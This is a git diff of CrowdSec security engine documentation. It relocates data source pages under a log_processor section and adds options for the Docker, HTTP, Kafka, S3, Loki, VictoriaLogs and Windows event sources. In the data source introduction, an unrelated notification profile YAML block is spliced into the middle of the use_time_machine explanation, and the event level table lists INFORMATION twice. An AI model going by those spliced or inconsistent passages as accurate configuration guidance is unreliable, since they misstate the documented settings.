+The format of Alert Context are key value pairs that are sent along with the alert. When you install some [Collections](/log_processor/collections/introduction.md) you will see that they come with Alert Context pre-configured.
+
+For example if you install the `crowdsecurity/nginx` collection you will see that the `http_base` context is added:
+
+```yaml
+#this context file is intended to provide minimal and useful information about HTTP scenarios.
+context:
+ target_uri:
+ - evt.Meta.http_path
+ user_agent:
+ - evt.Meta.http_user_agent
+ method:
+ - evt.Meta.http_verb
+ status:
+ - evt.Meta.http_status
+```
+
+Contexts are stored within the `contexts` directory within the root of the `config` directory, you can see the directory based on your OS [here](/u/troubleshooting/security_engine#where-is-configuration-stored).
+
+:::info
+As an example the default directory for linux is `/etc/crowdsec/` so the `contexts` directory would be `/etc/crowdsec/contexts/`
+:::
+
+Here a quick breakdown of the context file:
+
+- `context` : This is the root key of the context file.
+- `target_uri` : This is the key that will be used as the "name" of the context.
+- `evt.Meta.http_path` : This is the expression that will be evaluated to get the value of the context. In this case it will be the `http_path` field from the event.
+
+The next key value pair would be `user_agent` and so on.
+
+## Next Steps?
+
+We have written a full guide on Alert Context that you can find [here](/u/user_guides/alert_context). This guide will show you how to create your own Alert Context and how to use it within your scenarios.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/collections/format.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/format.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/collections/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/format.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/collections/introduction.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/introduction.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/collections/introduction.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/introduction.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/appsec.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/appsec.md
similarity index 78%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/appsec.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/appsec.md
index 5e69c7369..676bc72d6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/appsec.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/appsec.md
@@ -6,9 +6,9 @@ title: Application Security Component
This module allows you to enable the `Application Security Component` as a data source.
-A more detailed documentation is available [here](/docs/appsec/intro).
+A more detailed documentation is available [here](/docs/next/appsec/intro).
-A quickstart tutorial is available [here](/appsec/quickstart.md).
+A quickstart tutorial is available for [Nginx/OpenResty](/docs/next/appsec/quickstart/nginxopenresty) and [Traefik](/docs/next/appsec/quickstart/traefik).
## Configuration example
@@ -35,13 +35,17 @@ Defaults to `127.0.0.1:7442`.
The path the Application Security Component will respond to.
Defaults to `/`.
-### `appsec_config`
+### `appsec_configs`
The name of the appsec-config to use (as seen in `cscli appsec-configs list`).
+### `appsec_config`
+
+**Deprecated**, use [`appsec_configs`](#appsec_configs)
+
### `appsec_config_path`
-The path to the appsec-config to use (as seen in `cscli appsec-configs list`).
+**Deprecated**, use [`appsec_configs`](#appsec_configs)
### `routines`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/cloudwatch.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/cloudwatch.md
similarity index 96%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/cloudwatch.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/cloudwatch.md
index 7506759dd..a59915851 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/cloudwatch.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/cloudwatch.md
@@ -7,7 +7,7 @@ This module allows the `Security Engine` to acquire logs from AWS's cloudwatch s
:::info
-Instead of using this datasource, we recommend setting up a log subscription filter in your AWS account to push the logs to a kinesis stream, and use the [kinesis datasource](/data_sources/kinesis.md) to read them.
+Instead of using this datasource, we recommend setting up a log subscription filter in your AWS account to push the logs to a kinesis stream, and use the [kinesis datasource](/log_processor/data_sources/kinesis.md) to read them.
:::
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/docker.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/docker.md
similarity index 79%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/docker.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/docker.md
index f5f09071b..95c5f987d 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/docker.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/docker.md
@@ -84,6 +84,32 @@ Follow `stderr` container logs.
Default: `true`
+### `use_container_labels`
+
+Forces the use of container labels to get the log type. Meaning you can define a single docker datasource and let the labels of the container define the log type.
+
+```yaml
+source: docker
+use_container_labels: true
+```
+
+Currently here is the list of reserved labels for the container:
+
+`crowdsec.enable` : Enable crowdsec acquisition for this container the value must be set to `crowdsec.enable=true` for the container to be adopted.
+
+`crowdsec.labels` : Top level key that will parse into the labels struct for the acquisition, for example `crowdsec.labels.type=nginx` will be parsed to the following:
+
+```yaml
+labels:
+ type: nginx
+```
+
+Here is an example of running a nginx container with the labels:
+
+```bash
+docker run -d --label crowdsec.enable=true --label crowdsec.labels.type=nginx nginx:alpine
+```
+
## DSN and command-line
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/file.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/file.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/file.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/file.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/http.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/http.md
similarity index 53%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/http.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/http.md
index 9ca806a89..c3a589483 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/http.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/http.md
@@ -10,7 +10,7 @@ This module allows the `Security Engine` to acquire logs from an HTTP endpoint.
To receive logs from an HTTP endpoint with basic auth:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: basic_auth
basic_auth:
@@ -23,7 +23,7 @@ labels:
To receive logs from an HTTP endpoint with headers:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: headers
headers:
@@ -36,7 +36,7 @@ To receive logs from an HTTP endpoint with TLS and headers:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: headers
headers:
@@ -52,7 +52,7 @@ To receive logs from an HTTP endpoint with mTLS:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: mtls
tls:
@@ -63,28 +63,61 @@ labels:
type: mytype
```
-:::info
-If most of cases when the logs are sent in JSON format, you can use the [`transform`](https://docs.crowdsec.net/docs/next/data_sources/intro/#transform) expression to parse the logs.
+Look at the `Parameters` section to view all supported options.
+
+## Body format
+
+The datasource expects to receive one or multiple JSON objects.
+
+The datasource will also automatically decompress any request body in `gzip` format, as long as the `Content-Encoding` header is set to `gzip`.
+
+The JSON object can be any format, crowdsec will pass it as-is to the parsers.
+
+If you are sending multiple JSON object in the same request, they must be separated by a newline (NDJSON format):
+```json
+{"log": "log line 1", "timestamp": "2021-01-01T00:00:00Z"}
+{"log": "log line 2", "timestamp": "2021-01-01T00:00:01Z"}
+```
+
+The objects will be processed by the parsers one-by-one.
+
+If you send multiple log lines in a single JSON object, you can use a [transform](/docs/log_processor/data_sources/introduction.md#transform) expression to generate multiple events:
-For example, if the logs are sent in the following format:
```json
{
"Records": [
{
"message": "test",
"timestamp": "2021-01-01T00:00:00Z"
+ },
+ {
+ "message": "test2",
+ "timestamp": "2021-01-01T00:00:01Z"
}
]
}
```
-the `transform` expression can be:
+Using the following `transform` expression will make the datasource generate one event per entry in the array:
```yaml
-transform: map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#))
+transform: |
+ map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#))
```
-Look at the `configuration parameters` to view all supported options.
+## Status code and supported methods
+
+The HTTP datasource expects to receive logs in a `POST` request, and will return a `200 OK`.
+
+If an invalid body is received (invalid JSON), a `400 Bad Request` code will be returned.
+
+The datasource will return a `200 OK` to `GET` and `HEAD` requests if the credentials provided in the request are valid.
+
+A `405 Method Not Allowed` code will be returned for any other methods.
+
+If the credentials provided are invalid, a `401 Unauthorized` code will be returned.
+
+If the body size is bigger than the configured limit, a `413 Request Entity Too Large` code will be returned.
## Parameters
@@ -93,16 +126,18 @@ Look at the `configuration parameters` to view all supported options.
The address to listen on (e.g., `127.0.0.1:8088`).
-Required.
+At least one of `listen_addr` or `listen_socket` is required.
+
+### `listen_socket`
+
+Unix socket to listen on (e.g., `/var/run/crowdsec_http.sock`).
+
+At least one of `listen_addr` or `listen_socket` is required.
### `path`
The endpoint path to listen on.
-:::info
-The request method is always `POST`.
-:::
-
Optional, default is `/`.
### `auth_type`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/introduction.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/introduction.md
similarity index 52%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/introduction.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/introduction.md
index 2541a21a8..8cb0281d8 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/introduction.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/introduction.md
@@ -1,6 +1,6 @@
---
id: intro
-title: Introduction
+title: Acquisition Datasources Introduction
sidebar_position: 1
---
@@ -12,19 +12,20 @@ DataSources are configured via the [acquisition](/configuration/crowdsec_configu
Name | Type | Stream | One-shot
-----|------|--------|----------
-[Appsec](/data_sources/appsec.md) | expose HTTP service for the Appsec component | yes | no
-[AWS cloudwatch](/data_sources/cloudwatch.md) | single stream or log group | yes | yes
-[AWS kinesis](/data_sources/kinesis.md)| read logs from a kinesis strean | yes | no
-[AWS S3](/data_sources/s3.md)| read logs from a S3 bucket | yes | yes
-[docker](/data_sources/docker.md) | read logs from docker containers | yes | yes
-[file](/data_sources/file.md) | single files, glob expressions and .gz files | yes | yes
-[HTTP](/data_sources/http.md) | read logs from an HTTP endpoint | yes | no
-[journald](/data_sources/journald.md) | journald via filter | yes | yes
-[Kafka](/data_sources/kafka.md)| read logs from kafka topic | yes | no
-[Kubernetes Audit](/data_sources/kubernetes_audit.md) | expose a webhook to receive audit logs from a Kubernetes cluster | yes | no
-[Loki](/data_sources/loki.md) | read logs from loki | yes | yes
-[syslog service](/data_sources/syslog_service.md) | read logs received via syslog protocol | yes | no
-[Windows Event](/data_sources/windows_event_log.md)| read logs from windows event log | yes | no
+[Appsec](/log_processor/data_sources/appsec.md) | expose HTTP service for the Appsec component | yes | no
+[AWS cloudwatch](/log_processor/data_sources/cloudwatch.md) | single stream or log group | yes | yes
+[AWS kinesis](/log_processor/data_sources/kinesis.md)| read logs from a kinesis strean | yes | no
+[AWS S3](/log_processor/data_sources/s3.md)| read logs from a S3 bucket | yes | yes
+[docker](/log_processor/data_sources/docker.md) | read logs from docker containers | yes | yes
+[file](/log_processor/data_sources/file.md) | single files, glob expressions and .gz files | yes | yes
+[HTTP](/log_processor/data_sources/http.md) | read logs from an HTTP endpoint | yes | no
+[journald](/log_processor/data_sources/journald.md) | journald via filter | yes | yes
+[Kafka](/log_processor/data_sources/kafka.md)| read logs from kafka topic | yes | no
+[Kubernetes Audit](/log_processor/data_sources/kubernetes_audit.md) | expose a webhook to receive audit logs from a Kubernetes cluster | yes | no
+[Loki](/log_processor/data_sources/loki.md) | read logs from loki | yes | yes
+[VictoriaLogs](/log_processor/data_sources/victorialogs.md) | read logs from VictoriaLogs | yes | yes
+[syslog service](/log_processor/data_sources/syslog_service.md) | read logs received via syslog protocol | yes | no
+[Windows Event](/log_processor/data_sources/windows_event_log.md)| read logs from windows event log | yes | yes
## Common configuration parameters
@@ -55,6 +56,15 @@ The expression must return:
If the expression returns an error or an invalid type, the event will not be modified before sending it to the parsers.
+### `use_time_machine`
+
+By default, when reading logs in real-time, crowdsec will use the time at which the log was read as the log timestamp instead of extracting it from the log itself.
+
+Setting this option to `true` will force crowdsec to use the timestamp from the log as the time of the event.
+
+It is mandatory to set this if your application buffers logs before writting them (for example, IIS when writing to a log file, or logs written to S3 from almost any AWS service).Example profile with http plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + ++If not set, then crowdsec will think all logs happened at once, which can lead to some false positive detections. + ### `labels` A map of labels to add to the event. diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/journald.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/journald.md similarity index 87% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/journald.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/journald.md index d97b1b3ac..b6bd1de9f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/journald.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/journald.md @@ -53,6 +53,10 @@ labels: A list of journalctl filters. This is mandatory. +:::info +this list is transformed into arguments passed to the journalctl binary, so any [arguments supported by journalctl](https://www.man7.org/linux/man-pages/man1/journalctl.1.html) can be defined here +::: + ### `source` Must be `journalctl` diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kafka.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kafka.md similarity index 60% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kafka.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kafka.md index f0092154c..23d9f4859 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kafka.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kafka.md @@ -35,6 +35,30 @@ labels: type: nginx ``` +Adding a batch configuration: + +```yaml +source: kafka +brokers: + - "localhost:9093" +topic: "my-topic" +timeout: 5 +tls: + insecure_skip_verify: true + client_cert: /path/kafkaClient.certificate.pem + client_key: /path/kafkaClient.key + ca_cert: /path/ca.crt +labels: + type: nginx +batch: + min_bytes: 1024 # 1KB + max_bytes: 1048576 # 1MB + max_wait: 5s + queue_size: 1000 + commit_interval: 1s +``` + + :::info The reader will always start from the latest offset. ::: @@ -60,7 +84,7 @@ Required. The consumer group id to use. -Cannot be used with `partition`. +Cannot be used with `partition`. :::warning It is highly recommended to set this value, or crowdsec will only read logs from the 1st partition of the topic. @@ -72,6 +96,12 @@ Read messages from the given partition. Mostly useful for debugging. Cannot be used with `group_id`. +### `timeout` + +Maximum time to wait for new messages before returning an empty read. + +Default: 5 + ### `tls.insecure_skip_verify` To disable security checks on the certificate. @@ -96,6 +126,35 @@ The CA certificate path. Optional, when you want to enable TLS with client certificate. +### `batch.min_bytes` + +Minimum number of bytes to accumulate in the fetch buffer before returning results. + +Default: 1 + +### `batch.max_bytes` + +Maximum number of bytes to fetch in one go. + +Default: 1048576 (1MB) + +### `batch.max_wait` + +Maximum time to wait before returning a fetch, even if `batch.min_bytes` isn’t reached. + +Default: 250ms + +### `batch.queue_size` + +Maximum number of messages to buffer internally before processing. + +Default: 100 + +### `batch.commit_interval` + +Time interval between automatic commits of consumer offsets. + +Default: 0 (commit after every fetch) ### `source` @@ -104,4 +163,3 @@ Must be `kafka` ## DSN and command-line This datasource does not support acquisition from the command line. - diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kinesis.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kinesis.md similarity index 100% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kinesis.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kinesis.md diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kubernetes_audit.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kubernetes_audit.md similarity index 100% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kubernetes_audit.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kubernetes_audit.md diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/loki.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/loki.md similarity index 74% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/loki.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/loki.md index feafdf4a3..275c491bc 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/loki.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/loki.md @@ -70,6 +70,14 @@ The retry interval at startup before giving on loki. Defaults to `10 seconds`. +### `no_ready_check` + +> note : When using Loki hosted in Grafana Cloud, the `/ready` endpoint does not exist, preventing CrowdSec from starting. + +To bypass the readiness check. + +Defaults to `false`. + ### `auth` Login/password authentication for loki, in the format: @@ -89,21 +97,31 @@ Default to `30 seconds`. ## DSN and command-line -All the parameters above are available via DNS (one-shot mode), plus the following ones: +All the parameters above are available via DSN (one-shot mode), plus the following ones: ### `ssl` if present, scheme will be set to `https` +```bash +crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&ssl=true' +``` + ### `since` Allows to set the "since" duration for loki query. +Expects a valid [Go duration](https://pkg.go.dev/time#ParseDuration) + +```bash +crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&since=1d' +``` + ### `log_level` Set the `log_level` for loki datasource. ```bash -crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}' +crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&log_level=debug' ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/s3.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/s3.md similarity index 69% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/s3.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/s3.md index ab3ae5627..8b0772ae7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/s3.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/s3.md @@ -14,6 +14,7 @@ To monitor a S3 bucket detecting new objects from a SQS queue: source: s3 polling_method: sqs sqs_name: test-sqs-s3-acquis +use_time_machine: true labels: type: foo ``` @@ -24,10 +25,15 @@ source: s3 polling_method: list bucket_name: my_bucket polling_interval: 30 +use_time_machine: true labels: type: foo ``` +:::warning +It is **strongly recommended** to set `use_time_machine: true` when using the S3 data source. Since files from S3 are not read in real time, the parser must rely on the timestamps within the log lines themselves to process events accurately. +::: + :::warning The `list` polling method is mostly intended for testing purposes, and its usage is not recommended in production. It won't work well with moderately big buckets (tens of thousands of files), as the listing operation is slow. @@ -61,7 +67,7 @@ Required when `polling_method` is `sqs`. ### `sqs_format` Format of the body inside the SQS messages. -Can be `eventbridge` or `s3notification`. +Can be `eventbridge`, `s3notification` or `sns`. If not set, the Security Engine will automatically select the format based on the first valid event received from the queue. @@ -127,4 +133,41 @@ You can specify the `log_level` parameter to change the log level for the acquis crowdsec -type syslog -dsn s3://my_bucket/my_prefix/foo.log?log_level=debug ``` -AWS SDK behaviour can be configured with the standard AWS environment variables. \ No newline at end of file +AWS SDK behaviour can be configured with the standard AWS environment variables. + + +## IAM Permissions + +Because the component needs to interact with AWS resources, it need the proper permissions. + +Here is the set of required permissions: +```json +{ + "Statement": [ + { + "Action": [ + "sqs:ReceiveMessage", + "sqs:DeleteMessage", + "sqs:GetQueueAttributes", + "sqs:GetQueueUrl", + "sqs:ListDeadLetterSourceQueues", + "sqs:ListQueues" + ], + "Effect": "Allow", + "Resource": "arn:aws:sqs:::test-sqs-s3-acquis" + }, + { + "Effect": "Allow", + "Action": [ + "s3:DescribeJob", + "s3:Get*", + "s3:List*" + ], + "Resource": "arn:aws:s3:::my_bucket:*" + } + ], + "Version": "2012-10-17" +} +``` + +For the permissions, we recommend to restrict the S3 permissions to read only operations, to avoid the ability to destroy logs from the CrowdSec agent. If you are using S3 polling, the SQS part of the permissions can be omitted. diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/syslog_service.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/syslog_service.md similarity index 100% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/syslog_service.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/syslog_service.md diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/troubleshoot.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/troubleshoot.md similarity index 100% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/troubleshoot.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/troubleshoot.md diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/victorialogs.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/victorialogs.md new file mode 100644 index 000000000..01ac280b1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/victorialogs.md @@ -0,0 +1,118 @@ +--- +id: victorialogs +title: VictoriaLogs +--- + +This module allows the `Security Engine` to acquire logs from VictoriaLogs query. + +## Configuration example + +This will allow to read logs from VictoriaLogs, using the query `app:nginx`. +```yaml +source: victorialogs +mode: tail +log_level: info +url: http://localhost:9428/ +limit: 1000 +query: | + app:nginx +auth: + username: something + password: secret +labels: + type: nginx +``` + +:::info +The reader will always start at "now" for `tail` mode. +::: + +Look at the `configuration parameters` to view all supported options. + +## Parameters + +### `mode` + +Mode to fetch the logs, supported values: `tail` and `cat`. + +Defaults to `tail`. + +### `url` + +The VictoriaLogs URL to connect to. + +Required. + +### `prefix` + +The VictoriaLogs prefix (present in http path, useful if VictoriaLogs is behind a reverse-proxy). + +Defaults to `/`. + +### `query` + +The [VictoriaLogs query](https://docs.victoriametrics.com/victorialogs/logsql/). + +Required. + +Note that `tail` requests have limitations for operators used query. See [this doc](https://docs.victoriametrics.com/victorialogs/querying/#live-tailing) for the details. + +### `limit` + +The maximum number of messages to be retried from VictoriaLogs at once. + +### `headers` + +Allows you to specify headers to be sent to VictoriaLogs, in the format: + +```yaml +headers: + foo: bar + AccountID: 0 + ProjectID: 0 +``` + +See this doc for more information: [VictoriaLogs headers](https://docs.victoriametrics.com/victorialogs/querying/#http-api) + +### `wait_for_ready` + +The retry interval at startup before giving on VictoriaLogs. + +Defaults to `10 seconds`. + +### `auth` + +Login/password authentication for VictoriaLogs, in the format: + +```yaml +auth: + username: someone + password: something +``` + +### `max_failure_duration` + +The maximum duration VictoriaLogs is allowed to be unavailable (once startup is successful) before giving up on the data source. + +Default to `30 seconds`. + + +## DSN and command-line + +All the parameters above are available via DNS (one-shot mode), plus the following ones: + +### `ssl` + +if present, scheme will be set to `https` + +### `since` + +Allows to set the "start" duration for VictoriaLogs query. + +### `log_level` + +Set the `log_level` for VictoriaLogs datasource. + +```bash +crowdsec -type foobar -dsn 'victorialogs://login:password@localhost:9428/?query=server:"demoVictoriaLogsVictoriaLogs"' +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/windows_event_log.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/windows_event_log.md similarity index 59% rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/windows_event_log.md rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/windows_event_log.md index a6665fc0d..34d98c9d1 100644 --- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/windows_event_log.md +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/windows_event_log.md @@ -65,4 +65,51 @@ You can refer to the Windows documentation for more informations: https://docs.m Pretty name to use for the datasource in the metrics (`cscli metrics`). -This parameter is optional, but strongly recommanded, as by default the full xpath query will be displayed in the metrics, which can be hard to read. \ No newline at end of file +This parameter is optional, but strongly recommanded, as by default the full xpath query will be displayed in the metrics, which can be hard to read. + +## DSN and command-line + +This module supports acquisition directly from the command line, to replay content from event files. + +A single wineventlog URI is accepted with the `-dsn` parameter: + +```bash +crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx +``` + +### Supported parameters + +#### `log_level` + +Change the log level for the acquisition: + +```bash +crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?log_level=debug +``` + +#### `event_id` + +Only process events with this ID. + +This parameter can be specified multiple times to filter on multiple IDs. + +```bash +crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?event_id=1&event_id=2 +``` + +#### `event_level` + +Only process events with this level. + +Must be a number between 0 and 5. + +The mapping between the number and the textual representation of the level is: + + Text | Number +------|----------- + INFORMATION | 0 + CRITICAL | 1 + ERROR | 2 + WARNING | 3 + INFORMATION | 4 + VERBOSE | 5 \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/intro.mdx b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/intro.mdx new file mode 100644 index 000000000..32df210a9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/intro.mdx @@ -0,0 +1,89 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +The Log Processor is one of the core component of the Security Engine to: + +- Read logs from [Data Sources](log_processor/data_sources/introduction.md) in the form of Acquistions. +- Parse the logs and extract relevant information using [Parsers](log_processor/parsers/introduction.mdx). +- Enrich the parsed information with additional context such as GEOIP, ASN using [Enrichers](log_processor/parsers/enricher.md). +- Monitor the logs for patterns of interest known as [Scenarios](log_processor/scenarios/introduction.mdx). +- Push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. + +!TODO: Add diagram of the log processor pipeline +- Read logs from datasources +- Parse the logs +- Enrich the parsed information +- Monitor the logs for patterns of interest + + +## Introduction + +The Log Processor is an internal core component of the Security Engine in charge of reading logs from Data Sources, parsing them, enriching them, and monitoring them for patterns of interest. + +Once a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. + +All subcategories below are related to the Log Processor and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the Log Processor. + +## Data Sources + +Data Sources are individual modules that can be loaded at runtime by the Log Processor to read logs from various sources. To use a Data Source, you will need to create an acquisition configuration file. + +### Acquistions + +Acquisitions are the configuration files that define how the Log Processor should read logs from a Data Source. Acquisitions are defined in YAML format and are loaded by the Log Processor at runtime. + +We have two ways to define Acquisitions within the [configuration directory](/u/troubleshooting/security_engine#where-is-configuration-stored) : + +- `acquis.yaml` file: This used to be only place to define Acquisitions prior to `1.5.0`. This file is still supported for backward compatibility. +- `acquis.d` folder: This is a directory where you can define multiple Acquisitions in separate files. This is useful when you want to auto generate files using an external application such as ansible. + +```yaml title="Example Acquisition Configuration" +## /etc/crowdsec/acquis.d/file.yaml +source: file ## The Data Source module to use +filenames: + - /tmp/foo/*.log + - /var/log/syslog +labels: + type: syslog +``` + +For more information on Data Sources and Acquisitions, see the [Data Sources](log_processor/data_sources/introduction.md) documentation. + +## Collections + +Collections are used to group together Parsers, Scenarios, and Enrichers that are related to a specific application. For example the `crowdsecurity/nginx` collection contains all the Parsers, Scenarios, and Enrichers that are needed to parse logs from an NGINX web server and detect patterns of interest. + +You can see all available collections on the [Hub](https://app.crowdsec.net/hub/collections). + +### Parsers + +The parsing pipeline is broken down into multiple stages: + +- `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. +- `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](log_processor/scenarios/introduction.mdx). +- `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc. + +You can see more information on Parsers in the [documentation](log_processor/parsers/introduction.mdx). + +### Scenarios + +Scenarios are the patterns of interest that the Log Processor is monitoring for. When a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database. + +The patterns can be as simple as tracking the number of failed login attempts or as complex as tracking logging in from multiple countries within a short period of time which can be a indicator of a compromised account or VPN usage. + +The community provides a number of scenarios on the [Hub](https://hub.crowdsec.net/) that you can install and use. If you would like to create your own, see the [Scenarios](log_processor/scenarios/introduction.mdx) documentation. + +### whitelists + +Whitelists are used to exclude certain events from being processed by the Log Processor. For example, you may want to exclude certain IP addresses from being processed by the Log Processor. + +You can see more information on Whitelists in the [documentation](log_processor/whitelist/introduction.md). + +### Alert Context + +Alert Context is additional context that can sent with an alert to the LAPI. This context can be shown locally via `cscli` or within the [CrowdSec Console](https://app.crowdsec.net/signup) if you opt in to share context when you enroll your instance. + +You can read more about Alert Context in the 